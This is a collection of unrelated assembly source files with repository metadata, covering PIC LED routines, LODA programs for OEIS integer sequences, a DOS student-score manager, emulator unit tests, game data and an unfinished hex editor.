rrf a2 ; point for sliding LED from the last full LED
xorwf a2, W
movwf a1
movf b2, W
rrf b2
xorwf b2, W
movwf b1
btfsc STATUS, C ; exit outer loop after all LEDs empty
goto drain1
decfsz times ; repeat specified number of times
goto fill
retlw 0
drain1:
bcf STATUS, C ; clear incoming bit
rlf b1 ; slide the single LED left
rlf a1
call display
btfss a1, 4 ; exit inner loop once past the last LED
goto drain1
goto drain
; shift two display pattern left and right simulataneously
shift:
bcf STATUS, C ; don't carry garbage into the display
rlf b1 ; A1/B1 goes left
rlf a1
rrf a2 ; A2/B2 goes right
rrf b2
call display
btfss a1, 3 ; reverse once lit led hits the left end
goto shift
shiftdown:
bcf STATUS, C ; don't carry garbage into the display
rrf a1 ; Now, A1/B1 goes right
rrf b1
rlf b2 ; A2/B2 goes left
rlf a2
call display
btfss b1, 0 ; reverse once lit led hits the right end
goto shiftdown
decfsz times ; repeat specified nubmer of times
goto shift
retlw 0
; display the current variables on both ports and wait
display:
movf b1, W ; send combined B1/B2 to PORTB
iorwf b2, W
movwf PORTB
movf a1, W ; send combined A1/A2 to PORTA
iorwf a2, W
movwf PORTA
movf delay, W ; wait delay X 256 iterations
movwf wait2
dloop:
decfsz wait1
goto dloop
decfsz wait2
goto dloop
retlw 0
END resetVec
| 25.353535
| 77
| 0.669124
|
f23f9db27fbfc8fd5f0c26ebbea7c551b1cb3556
| 857
|
asm
|
Assembly
|
oeis/247/A247325.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/247/A247325.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/247/A247325.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A247325: Number of paths from (0,0) to (n,2), with vertices (i,k) satisfying 0 <= k <= 3, consisting of segments given by the vectors (1,1), (1,2), (1,-1).
; Submitted by Christian Krause
; 0,1,1,4,5,13,22,45,87,166,329,627,1232,2373,4621,8956,17377,33737,65422,127009,246363,478134,927685,1800119,3492960,6777593,13151433,25518580,49516525,96081013,186435302,361757509,701951407,1362062118,2642933937,5128331659,9950974640,19308800733,37466653301,72700019820,141066586729,273724565329,531133146526,1030606849625,1999781983507,3880362276598,7529426503245,14610043947183,28349222079424,55008622571441,106738327629393,207114267925988,401883005951637,779810836465309,1513139226077494
lpb $0
sub $0,1
sub $3,$4
add $1,$3
sub $3,$2
add $1,$3
add $4,1
mov $5,$4
mov $4,$2
mov $2,$3
add $4,$1
add $5,$4
mov $3,$5
lpe
sub $3,$1
mov $0,$3
| 40.809524
| 492
| 0.745624
|
1aa66620295b49ab7e56d51f937568907e4bbb09
| 4,186
|
asm
|
Assembly
|
AssemblyLanguage_Lab/ASB_LAB_4/test1.asm
|
strawberrylin/Hust_CS_Lab
|
2a93d9cdc9bb6d981f9bfa3865af4ffd235a39e1
|
[
"MIT"
] | 1
|
2018-09-27T07:30:59.000Z
|
2018-09-27T07:30:59.000Z
|
AssemblyLanguage_Lab/ASB_LAB_4/test1.asm
|
strawberrylin/Hust_CS_Lab
|
2a93d9cdc9bb6d981f9bfa3865af4ffd235a39e1
|
[
"MIT"
] | null | null | null |
AssemblyLanguage_Lab/ASB_LAB_4/test1.asm
|
strawberrylin/Hust_CS_Lab
|
2a93d9cdc9bb6d981f9bfa3865af4ffd235a39e1
|
[
"MIT"
] | null | null | null |
;main source code
;@author strawberrylin
name first
extern Sort:far,Print:far
public store,num,TIPS
.386
;宏定义9号功能
write macro a
lea dx, a
mov ah, 9
int 21h
endm
read macro b
lea dx, b
mov ah, 10
int 21h
endm
data segment use16 para public 'data1'
bufc db '1:Input the name and score',0ah,0dh,
'2:Figure the sum and the average score',0ah,0dh,
'3:Sort the score',0ah,0dh,
'4:Output the score from high to low',0ah,0dh,
'5:Exit...',0ah,0dh,
'Enter your choose:','$'
buft2 db 0ah,0dh,'Input name:$'
buft3 db 0ah,0dh,'Input chinese score:$'
buft4 db 0ah,0dh,'Input math score:$'
buft5 db 0ah,0dh,'Input english score:$'
buf db 20
db ?
db 20 dup(0)
num dw 0
store db 200 dup(0)
TIPS db 0ah,0dh,'INFORMATIONS AS FOLLOWS:',0ah,0dh,'$' ;信息输出提示语
PRJE DB 0ah,0dh,'PROJECT IS GOING TO EXIT!PRESS ANY KEY TO EXIT!$' ;结束提示语
data ends
stack segment use16 para stack 'stack'
db 200 dup(0)
stack ends
code segment use16 para public 'code'
assume ds:data,cs:code,ss:stack
start:
mov ax, data
mov ds, ax
lea di, store ; 信息储存位置
mov cx, 0 ; 学生数
show:
write bufc
mov ah, 1 ;input choose
int 21h
cmp al, '1'
jz function1
cmp al, '2'
jz function2
cmp al, '3'
jz function3
cmp al, '4'
jz function4
cmp al, '5'
jz function5
jmp show
function1:
call far ptr INFOIN
jmp show
function2:
call AVG
jmp show
function3:
call far ptr Sort
jmp show
function4:
call far ptr Print
jmp show
function5:
write PRJE
mov ah,1
int 21h
mov ah, 4ch
int 21h
code ends
;子程序名:AVG
;功能:计算平均成绩
;入口参数:储存学生信息的内存地址 store
;出口参数:无
procg segment use16
assume cs:procg
AVG proc far
push si
push cx
push dx
push ax
mov cx, num
mov ax, 0
lea si,store
add si, 10
fig:
mov bl, [si]
mov bh, 0
add ax, bx
mov bl, [si+1]
mov bh, 0
add ax, bx
mov bl, [si+2]
add ax, bx
mov dh, 0
mov dl, 3
div dl
mov [si+3], al
add si, 16
dec cx
jnz fig
pop ax
pop dx
pop cx
pop si
ret
AVG endp
procg ends
;子程序名:INFOIN
;功能:录入学生信息
;入口参数:储存学生信息的内存地址的di
;出口参数:无
proce segment use16
assume cs:proce
INFOIN proc far
inc cx
mov num,cx
push dx
push ax
push cx
push si
write buft2
read buf
mov cl, buf+1
mov ch, 0
lea si, buf+2
begin:
mov al, [si]
mov [di], al
inc si
inc di
dec cx
jnz begin
mov byte ptr [di], '$'
mov cl, buf+1
mov ch, 0
add di, 10
sub di, cx
write buft3
call GSCORE
write buft4
call GSCORE
write buft5
call GSCORE
inc di
mov byte ptr [di], 0ah ;在平均成绩后加入'0ah' '0dh' '$'
inc di
mov byte ptr [di], 0dh ;
inc di
mov byte ptr [di],'$' ;输出
pop si
pop cx
pop ax
pop dx
ret
INFOIN endp
;子程序名:GSCORE
;功能:得到输入的成绩
;入口参数:储存学生信息的偏移地址di
;出口参数:ax,存储对应的成绩
GSCORE proc
push dx
push bx
push si
push cx
read buf
mov cl, buf+1
lea si, buf+2
mov ax, 0
loapi:
mov bl, [si]
sub bl, 30h
mov bh, 0
imul ax, 10
add ax, bx
inc si
dec cx
jnz loapi
mov [di], al
inc di
pop cx
pop si
pop bx
pop dx
ret
GSCORE endp
proce ends
end start
| 20.825871
| 78
| 0.467989
|
6f234ef38579c29fe75043febd355d80924cfb4d
| 830
|
asm
|
Assembly
|
oeis/142/A142676.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/142/A142676.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/142/A142676.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A142676: Primes congruent to 17 mod 57.
; Submitted by Jon Maiga
; 17,131,359,587,701,929,1499,1613,2069,2297,2411,2753,3209,3323,3779,4007,4349,4463,4691,4919,5147,5261,5717,6173,6287,6857,6971,7541,7883,8111,8681,9137,9479,10163,10391,10733,10847,11987,12101,12329,12671,12899,13127,13241,13469,13697,14153,14723,14951,15749,16091,16319,16433,16547,16661,16889,17117,17231,17573,18143,18257,18371,18713,19739,19853,20879,21107,21221,21563,22133,22247,22817,23159,23957,24071,24413,24527,25097,25439,25667,26237,26693,26921,27947,28289,28403,28517,28631,28859,29201
mov $1,8
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $2,2
mov $3,$1
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,57
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
mul $0,2
sub $0,113
| 34.583333
| 501
| 0.728916
|
6caea08bf840b6626064f8b2be6557f5004d0221
| 579
|
asm
|
Assembly
|
oeis/218/A218219.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/218/A218219.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/218/A218219.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A218219: Define a(x,y) to be 1 if x is 0 or 1 and y*a(x-1,y)-a(x-2,y) otherwise. Then the n-th term of the sequence is a(n,n).
; Submitted by Christian Krause
; 1,1,1,5,41,436,5741,90481,1663585,34988311,828931049,21851881930,634556225161,20129592507025,692665874901013,25699370092119569,1022757988416562049,43461563755791470416,1964206882303435582865,94076863910519354420761,4760163616791818063701801
mov $2,1
mov $3,1
lpb $0
sub $0,$3
mov $1,$4
mul $1,$0
add $2,1
sub $3,1
add $0,$3
add $4,1
sub $2,$4
add $2,$1
add $4,$2
lpe
mov $0,$2
div $0,2
add $0,1
| 26.318182
| 242
| 0.709845
|
89834a5746a2150cc741ea58da1d5a5d393ad612
| 1,277
|
asm
|
Assembly
|
programs/oeis/017/A017789.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/017/A017789.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/017/A017789.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A017789: Binomial coefficients C(73,n).
; 1,73,2628,62196,1088430,15020334,170230452,1629348612,13442126049,97082021465,621324937376,3558497368608,18385569737808,86270750308176,369731787035040,1454278362337824,5271759063474612,17675898036356052,54991682779774384,159186450151978480,429803415410341896,1084741953178481928,2563935525694593648,5685248339583664176,11844267374132633700,23214764053299962052,42858025944553776096,74604711829408425056,122564883719742412592,190186888530634778160,278940769844931007968,386917842042968817504,507829667681396572974,630939890149613923998,742282223705428145880,827114477843191362552,873065282167813104916,873065282167813104916,827114477843191362552,742282223705428145880,630939890149613923998,507829667681396572974,386917842042968817504,278940769844931007968,190186888530634778160,122564883719742412592,74604711829408425056,42858025944553776096,23214764053299962052,11844267374132633700,5685248339583664176,2563935525694593648,1084741953178481928,429803415410341896,159186450151978480,54991682779774384,17675898036356052,5271759063474612,1454278362337824,369731787035040,86270750308176,18385569737808,3558497368608,621324937376,97082021465,13442126049,1629348612,170230452,15020334,1088430,62196,2628,73,1
mov $1,73
bin $1,$0
mov $0,$1
| 182.428571
| 1,203
| 0.920125
|
5e70f2019fbf79abfde3c9968d42a230f6c7abfd
| 659
|
asm
|
Assembly
|
sum_of_odd_numbers/mylib.asm
|
CristinaNilvan/assembler-i386-algorithmic-problems
|
04f4e2a6e436ef1e40980c39f94183e750ae2454
|
[
"MIT"
] | 1
|
2021-04-02T14:52:31.000Z
|
2021-04-02T14:52:31.000Z
|
sum_of_odd_numbers/mylib.asm
|
CristinaNilvan/assembly-i386-algorithmic-problems
|
04f4e2a6e436ef1e40980c39f94183e750ae2454
|
[
"MIT"
] | null | null | null |
sum_of_odd_numbers/mylib.asm
|
CristinaNilvan/assembly-i386-algorithmic-problems
|
04f4e2a6e436ef1e40980c39f94183e750ae2454
|
[
"MIT"
] | 1
|
2021-04-02T14:52:33.000Z
|
2021-04-02T14:52:33.000Z
|
display_message macro
push offset get_number_message
call printf
add esp, 4
endm
read_number macro
push offset number
push offset format
call scanf
add esp, 8
endm
sum_of_odd_numbers macro number
local while_loop, not_equal, final
mov edi, number
mov esi, 2
mov ecx, 0
mov ebx, 1
while_loop :
cmp ebx, edi
je final
mov eax, ebx
mov edx, 0
div esi
cmp edx, 1
jne not_equal
add ecx, ebx
not_equal :
add ebx, 1
jmp while_loop
final :
endm
display_sum macro number
push number
push offset sum_message
call printf
add esp, 4
endm
| 11.561404
| 37
| 0.631259
|
95095c57ec6b9aa44c641b732e359124e856160e
| 496
|
asm
|
Assembly
|
oeis/308/A308742.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/308/A308742.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/308/A308742.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A308742: Decimal expansion of BesselI(3/4,1/2)/BesselI(-1/4,1/2).
; Submitted by Jon Maiga
; 3,1,8,3,6,6,2,4,6,7,2,8,3,1,6,4,7,1,6,8,1,9,0,8,7,0,7,6,4,4,3,8,6,9,3,4,7,3,9,9,7,9,5,3,0,1,2,4,2,1,0,4,6,3,7,6,0,3,0,6,4,2,0,4,0,5,7,5,3,3,3,8,7,5,9,3,0,1,4,2,9,0,9,4,9,7,3,7,3,3,1,1,7,8,2,0,1,1,1,6
add $0,1
mov $2,5
mov $3,$0
add $3,1
mul $3,4
lpb $3
add $6,$2
add $1,$6
add $2,$1
mov $1,$5
sub $3,2
add $5,$2
mul $6,$3
lpe
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
mod $0,10
| 19.84
| 201
| 0.534274
|
46303f28edd70e9f288ded36b4ed9b967d6e4f13
| 364
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/adt/b_array/c/sccz80/b_array_resize_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/adt/b_array/c/sccz80/b_array_resize_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/adt/b_array/c/sccz80/b_array_resize_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; int b_array_resize(b_array_t *a, size_t n)
SECTION code_clib
SECTION code_adt_b_array
PUBLIC b_array_resize_callee
EXTERN asm_b_array_resize
b_array_resize_callee:
pop hl
pop de
ex (sp),hl
jp asm_b_array_resize
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _b_array_resize_callee
defc _b_array_resize_callee = b_array_resize_callee
ENDIF
| 14.56
| 51
| 0.802198
|
b6c54adbb3e72efeb5083cdf7d76f562b42bd2c9
| 185
|
asm
|
Assembly
|
data/pokemon/dex_entries/cacturne.asm
|
AtmaBuster/pokeplat-gen2
|
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
|
[
"blessing"
] | 6
|
2021-06-19T06:41:19.000Z
|
2022-02-15T17:12:33.000Z
|
data/pokemon/dex_entries/cacturne.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | null | null | null |
data/pokemon/dex_entries/cacturne.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | 3
|
2021-01-15T18:45:40.000Z
|
2021-10-16T03:35:27.000Z
|
db "SCARECROW@" ; species name
db "Packs of them"
next "follow travelers"
next "through the desert"
page "until the group of"
next "travelers are too"
next "tired to move.@"
| 18.5
| 31
| 0.686486
|
fe9683e16d6c77fdf8e94a9b2076f4f3967d1a14
| 782
|
asm
|
Assembly
|
artwork/barbaro_espada_bloquea.asm
|
fjpena/sword-of-ianna-zx
|
fdd6bdb5775933756e75402a7c6be80d5334702d
|
[
"Apache-2.0"
] | 67
|
2017-10-07T18:48:05.000Z
|
2022-02-01T20:37:40.000Z
|
artwork/barbaro_espada_bloquea.asm
|
fjpena/sword-of-ianna-zx
|
fdd6bdb5775933756e75402a7c6be80d5334702d
|
[
"Apache-2.0"
] | null | null | null |
artwork/barbaro_espada_bloquea.asm
|
fjpena/sword-of-ianna-zx
|
fdd6bdb5775933756e75402a7c6be80d5334702d
|
[
"Apache-2.0"
] | 9
|
2017-10-06T21:02:55.000Z
|
2022-01-06T03:11:58.000Z
|
; ASM source file created by SevenuP v1.20
; SevenuP (C) Copyright 2002-2006 by Jaime Tejedor Gomez, aka Metalbrain
;GRAPHIC DATA:
;Pixel Size: ( 24, 32)
;Char Size: ( 3, 4)
;Sort Priorities: X char, Char line, Y char
;Data Outputted: Gfx
;Interleave: Sprite
;Mask: No
barbaro_espada_bloquea:
DEFB 0, 0, 0, 0, 0, 3, 0, 0
DEFB 3, 0, 0, 3, 0, 7,195, 0
DEFB 8, 35, 0, 16, 19, 0, 34,150
DEFB 0, 3,214, 0,227,214, 1,241
DEFB 150, 1,250, 6, 1,238,198, 1
DEFB 246,204, 0,240, 12, 0,243,204
DEFB 0,109,140, 0,126, 30, 0, 31
DEFB 128, 0, 3,156, 0, 0, 24, 0
DEFB 0, 0, 0, 32, 64, 0,112,160
DEFB 0,121, 80, 0,120,168, 2, 56
DEFB 0, 7,188, 80, 7,156, 0, 6
DEFB 216,128, 2, 1, 80, 1,130,168
| 32.583333
| 72
| 0.557545
|
a053aa530c7f8ca795157868ab469ddff36a8bc4
| 379
|
asm
|
Assembly
|
unittests/ASM/VEX/pext.asm
|
fengjixuchui/FEX
|
287c65dc6414523ec74303c4b1d03123ae720d6b
|
[
"MIT"
] | null | null | null |
unittests/ASM/VEX/pext.asm
|
fengjixuchui/FEX
|
287c65dc6414523ec74303c4b1d03123ae720d6b
|
[
"MIT"
] | null | null | null |
unittests/ASM/VEX/pext.asm
|
fengjixuchui/FEX
|
287c65dc6414523ec74303c4b1d03123ae720d6b
|
[
"MIT"
] | null | null | null |
%ifdef CONFIG
{
"RegData": {
"RAX": "0x12345678",
"RBX": "0xFF00FFF0",
"RCX": "0x00012567",
"RDX": "0x1234567812345678",
"RSI": "0xFF00FF00FF00FF00",
"RDI": "0x12561256"
}
}
%endif
; 32-bit
mov eax, 0x12345678
mov ebx, 0xFF00FFF0
pext ecx, eax, ebx
; 64-bit
mov rdx, 0x1234567812345678
mov rsi, 0xFF00FF00FF00FF00
pext rdi, rdx, rsi
hlt
| 15.791667
| 34
| 0.622691
|
90f327cd8eb3dc99b27cbbe0413273b1de4dde4f
| 107
|
asm
|
Assembly
|
C vs Assembly/addition of 2 integers.asm
|
zakarialaoui10/HIGH-TO-LOW
|
6fba545110b1188e1afc72c414fbf4f48f780070
|
[
"MIT"
] | 18
|
2021-07-21T11:01:04.000Z
|
2022-01-19T03:38:41.000Z
|
C vs Assembly/addition of 2 integers.asm
|
zakarialaoui10/HIGH-TO-LOW
|
6fba545110b1188e1afc72c414fbf4f48f780070
|
[
"MIT"
] | null | null | null |
C vs Assembly/addition of 2 integers.asm
|
zakarialaoui10/HIGH-TO-LOW
|
6fba545110b1188e1afc72c414fbf4f48f780070
|
[
"MIT"
] | 1
|
2021-06-25T19:48:30.000Z
|
2021-06-25T19:48:30.000Z
|
li $v0,5
syscall
move $s0,$v0
li $v0,5
syscall
move $s1,$v0
add $s2,$s1,$s0
li $v0,1
move $a0,$s2
syscall
| 9.727273
| 15
| 0.64486
|
22cfc79fe2eda3372babf16f6e94a7ca74e78dea
| 452
|
asm
|
Assembly
|
oeis/077/A077881.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/077/A077881.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/077/A077881.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A077881: Expansion of (1-x)^(-1)/(1-2*x^2+2*x^3).
; Submitted by Jon Maiga
; 1,1,3,1,5,-3,9,-15,25,-47,81,-143,257,-447,801,-1407,2497,-4415,7809,-13823,24449,-43263,76545,-135423,239617,-423935,750081,-1327103,2348033,-4154367,7350273,-13004799,23009281,-40710143,72028161,-127438847,225476609,-398934015,705830913
mov $1,1
lpb $0
sub $0,1
mov $2,$3
add $4,$1
add $1,1
sub $1,$4
mov $3,$4
mov $4,$2
mul $4,2
lpe
add $1,$4
mov $0,$1
| 25.111111
| 240
| 0.646018
|
3a17af12b1733a38ab5c0c1fdd0faebb1d2048b1
| 933
|
asm
|
Assembly
|
sk/sfx/A3.asm
|
Cancer52/flamedriver
|
9ee6cf02c137dcd63e85a559907284283421e7ba
|
[
"0BSD"
] | 9
|
2017-10-09T20:28:45.000Z
|
2021-06-29T21:19:20.000Z
|
sk/sfx/A3.asm
|
Cancer52/flamedriver
|
9ee6cf02c137dcd63e85a559907284283421e7ba
|
[
"0BSD"
] | 12
|
2018-08-01T13:52:20.000Z
|
2022-02-21T02:19:37.000Z
|
sk/sfx/A3.asm
|
Cancer52/flamedriver
|
9ee6cf02c137dcd63e85a559907284283421e7ba
|
[
"0BSD"
] | 2
|
2018-02-17T19:50:36.000Z
|
2019-10-30T19:28:06.000Z
|
Sound_A3_Header:
smpsHeaderStartSong 3
smpsHeaderVoice Sound_A3_Voices
smpsHeaderTempoSFX $01
smpsHeaderChanSFX $01
smpsHeaderSFXChannel cFM5, Sound_A3_FM5, $E5, $06
; FM5 Data
Sound_A3_FM5:
smpsSetvoice $00
smpsModSet $02, $01, $06, $D7
dc.b nD0, $64
smpsStop
Sound_A3_Voices:
; Voice $00
; $EB
; $1F, $77, $D0, $11, $1C, $0B, $0F, $0F, $00, $00, $00, $00
; $00, $00, $00, $03, $D2, $00, $03, $17, $13, $30, $A0, $80
smpsVcAlgorithm $03
smpsVcFeedback $05
smpsVcUnusedBits $03
smpsVcDetune $01, $0D, $07, $01
smpsVcCoarseFreq $01, $00, $07, $0F
smpsVcRateScale $00, $00, $00, $00
smpsVcAttackRate $0F, $0F, $0B, $1C
smpsVcAmpMod $00, $00, $00, $00
smpsVcDecayRate1 $00, $00, $00, $00
smpsVcDecayRate2 $03, $00, $00, $00
smpsVcDecayLevel $01, $00, $00, $0D
smpsVcReleaseRate $07, $03, $00, $02
smpsVcTotalLevel $00, $A0, $30, $13
| 26.657143
| 62
| 0.606645
|
cc0a82cb9de4e93f967acc476389ad59cd5a0ff1
| 147
|
asm
|
Assembly
|
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_enmy10.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_enmy10.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_enmy10.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
Name: ys_enmy10.asm
Type: file
Size: 59010
Last-Modified: '2016-05-13T04:50:38Z'
SHA-1: A700102EF71F248D005CE174BE06CCA7C9C5452C
Description: null
| 21
| 47
| 0.816327
|
518b6554993c1c0237e4a253ad42cc55cfaaca1f
| 1,744
|
asm
|
Assembly
|
test/filters-cases/arm-moose.asm
|
OfekShilon/compiler-explorer
|
7ee2ab17f29470575443bd67e5685ac54ce76158
|
[
"BSD-2-Clause"
] | 4,668
|
2017-01-02T19:35:10.000Z
|
2020-05-16T03:18:45.000Z
|
test/filters-cases/arm-moose.asm
|
OfekShilon/compiler-explorer
|
7ee2ab17f29470575443bd67e5685ac54ce76158
|
[
"BSD-2-Clause"
] | 1,750
|
2017-01-02T19:37:06.000Z
|
2020-05-16T14:54:29.000Z
|
test/filters-cases/arm-moose.asm
|
OfekShilon/compiler-explorer
|
7ee2ab17f29470575443bd67e5685ac54ce76158
|
[
"BSD-2-Clause"
] | 620
|
2017-01-03T00:29:17.000Z
|
2020-05-14T09:27:47.000Z
|
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.15.26504.0
TTL C:\Source\compiler-explorer\test\cases\arm-moose-example.cpp
THUMB
.drectve
DCB "-defaultlib:LIBCMT "
DCB "-defaultlib:OLDNAMES "
EXPORT |moose|
; COMDAT .pdata
.pdata SEGMENT
|$pdata1$moose| DCD imagerel |moose|
DCD 0xfd1160d5
; Function compile flags: /Ogtpy
; COMDAT moose
.text$mn SEGMENT
|moose| PROC
; File c:\source\compiler-explorer\test\cases\arm-moose-example.cpp
; Line 9
push {r3-r5,lr}
|$M22|
mov r5,r0
; Line 10
movs r0,#1
movs r4,#0
vdup.32 q10,r5
; Line 12
cmp r1,#0
ble |$LN18@moose|
cmp r1,#8
bcc |$LN11@moose|
; Line 10
asrs r3,r1,#2
add r3,r1,r3,lsr #0x1D
asrs r3,r3,#3
sub r3,r1,r3,lsl #3
vmov.i64 q8,#0
subs r3,r1,r3
vmov q9,q8
vmul.i32 q10,q10,q10
|$LL4@moose|
; Line 12
adds r4,r4,#8
cmp r4,r3
; Line 13
vadd.i32 q8,q10,q8
vadd.i32 q9,q10,q9
blt |$LL4@moose|
; Line 10
vadd.i32 q8,q9,q8
vmov.32 r2,d17[1]
vmov.32 r3,d17[0]
add r2,r2,r3
vmov.32 r3,d16[1]
add r2,r2,r3
vmov.32 r3,d16[0]
add r3,r3,r2
adds r0,r3,#1
|$LN11@moose|
; Line 12
cmp r4,r1
bge |$LN17@moose|
subs r3,r1,r4
mul r3,r3,r5
mla r0,r3,r5,r0
|$LN17@moose|
|$M20|
; Line 16
pop {r3-r5,pc}
|$LN18@moose|
|$M21|
pop {r3-r5,pc}
|$M23|
ENDP ; |moose|
; Function compile flags: /Ogtpy
; COMDAT thing
.text$mn SEGMENT
|thing| PROC
; File c:\source\compiler-explorer\test\cases\arm-moose-example.cpp
; Line 7
mul r0,r0,r0
|$M4|
bx lr
ENDP ; |thing|
END
| 18.956522
| 79
| 0.570528
|
518772962361243f775e6385a626474acf34c1b6
| 2,920
|
asm
|
Assembly
|
modules/hexEditor/HexEditor.asm
|
jaredwhitney/os3
|
05e0cda4670da093cc720d0dccbfeb29e788fa0f
|
[
"MIT"
] | 5
|
2015-02-25T01:28:09.000Z
|
2021-05-22T09:03:04.000Z
|
modules/hexEditor/HexEditor.asm
|
jaredwhitney/os3
|
05e0cda4670da093cc720d0dccbfeb29e788fa0f
|
[
"MIT"
] | 38
|
2015-02-10T18:37:11.000Z
|
2017-10-03T03:08:50.000Z
|
modules/hexEditor/HexEditor.asm
|
jaredwhitney/os3
|
05e0cda4670da093cc720d0dccbfeb29e788fa0f
|
[
"MIT"
] | 2
|
2016-05-06T22:48:46.000Z
|
2017-01-12T19:28:49.000Z
|
HexEditor.COMMAND_RUN :
dd .str
dd HexEditor.main
dd null
.str :
db "hexedit", 0
HexEditor.init :
methodTraceEnter
pusha
push dword HexEditor.COMMAND_RUN
call iConsole2.RegisterCommand
popa
methodTraceLeave
ret
HexEditor.main :
methodTraceEnter
pusha
push dword .title
push dword 0*4
push dword 0
push dword 16*(3*(FONTWIDTH*4))
push dword 400
call WinMan.CreateWindow
mov [HexEditor.window], ecx
mov ebx, ecx
push dword 3*0x200
push dword 0*4
push dword 22
push dword 16*(3*(FONTWIDTH*4))
push dword 378
push dword FALSE
call TextArea.Create
mov eax, ecx
call Grouping.Add
mov [HexEditor.text], ecx
mov dword [ecx+Component_keyHandlerFunc], HexEditor.swapMode
push dword 40
push dword 0*4
push dword 0
push dword 16*(3*(FONTWIDTH*4))
push dword 20
push dword FALSE
call TextArea.Create
